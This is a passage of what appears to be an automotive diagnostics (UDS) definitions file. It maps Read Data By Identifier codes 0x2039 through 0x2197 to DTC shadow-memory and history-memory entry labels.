UDS_RDBI.dataIdentifiers[0x2039] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x203a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x203b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x203c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x203d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x203e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x203f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2040] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2041] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2042] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2043] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2044] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2045] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2046] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2047] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2048] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2049] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x204a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x204b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x204c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x204d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x204e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x204f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2050] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2051] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2052] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2053] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2054] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2055] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2056] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2057] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2058] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2059] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x205a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x205b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x205c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x205d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x205e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x205f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2060] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2061] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2062] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2063] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2064] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2065] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2066] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2067] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2068] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2069] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x206a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x206b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x206c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x206d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x206e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x206f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2070] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2071] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2072] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2073] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2074] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2075] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2076] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2077] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2078] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2079] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x207a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x207b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x207c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x207d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x207e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x207f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2080] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2081] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2082] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2083] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2084] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2085] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2086] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2087] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2088] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2089] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x208a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x208b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x208c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x208d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x208e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x208f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2090] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2091] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2092] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2093] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2094] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2095] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2096] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2097] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2098] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2099] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x209a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x209b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x209c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x209d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x209e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x209f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a0] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a1] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a2] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a3] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a4] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a5] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a6] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a7] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a8] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a9] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20aa] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ab] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ac] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ad] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ae] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20af] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b0] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b1] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b2] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b3] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b4] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b5] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b6] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b7] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b8] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b9] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ba] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20bb] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20bc] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20bd] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20be] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20bf] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c0] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c1] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c2] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c3] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c4] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c5] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c6] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c7] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c8] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c9] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ca] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20cb] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20cc] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20cd] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ce] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20cf] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d0] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d1] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d2] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d3] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d4] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d5] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d6] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d7] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d8] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d9] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20da] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20db] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20dc] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20dd] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20de] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20df] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e0] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e1] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e2] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e3] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e4] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e5] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e6] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e7] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e8] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e9] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ea] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20eb] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ec] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ed] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ee] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ef] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f0] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f1] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f2] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f3] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f4] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f5] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f6] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f7] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f8] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f9] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20fa] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20fb] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20fc] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20fd] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20fe] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ff] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2100] = "dtcHistoryMemory" UDS_RDBI.dataIdentifiers[0x2101] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2102] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2103] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2104] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2105] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2106] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2107] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2108] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2109] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x210a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x210b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x210c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x210d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x210e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x210f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2110] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2111] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2112] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2113] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2114] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2115] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2116] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2117] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2118] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2119] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x211a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x211b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x211c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x211d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x211e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x211f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2120] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2121] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2122] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2123] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2124] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2125] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2126] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2127] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2128] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2129] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x212a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x212b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x212c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x212d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x212e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x212f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2130] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2131] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2132] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2133] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2134] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2135] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2136] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2137] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2138] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2139] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x213a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x213b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x213c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x213d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x213e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x213f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2140] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2141] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2142] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2143] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2144] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2145] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2146] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2147] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2148] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2149] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x214a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x214b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x214c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x214d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x214e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x214f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2150] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2151] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2152] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2153] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2154] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2155] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2156] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2157] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2158] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2159] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x215a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x215b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x215c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x215d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x215e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x215f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2160] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2161] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2162] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2163] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2164] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2165] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2166] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2167] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2168] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2169] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x216a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x216b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x216c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x216d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x216e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x216f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2170] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2171] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2172] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2173] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2174] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2175] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2176] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2177] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2178] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2179] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x217a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x217b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x217c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x217d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x217e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x217f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2180] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2181] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2182] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2183] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2184] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2185] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2186] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2187] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2188] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2189] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x218a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x218b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x218c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x218d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x218e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x218f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2190] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2191] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2192] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2193] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2194] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2195] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2196] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2197] = "dtcHistoryMemoryEntry 2101-21FF" 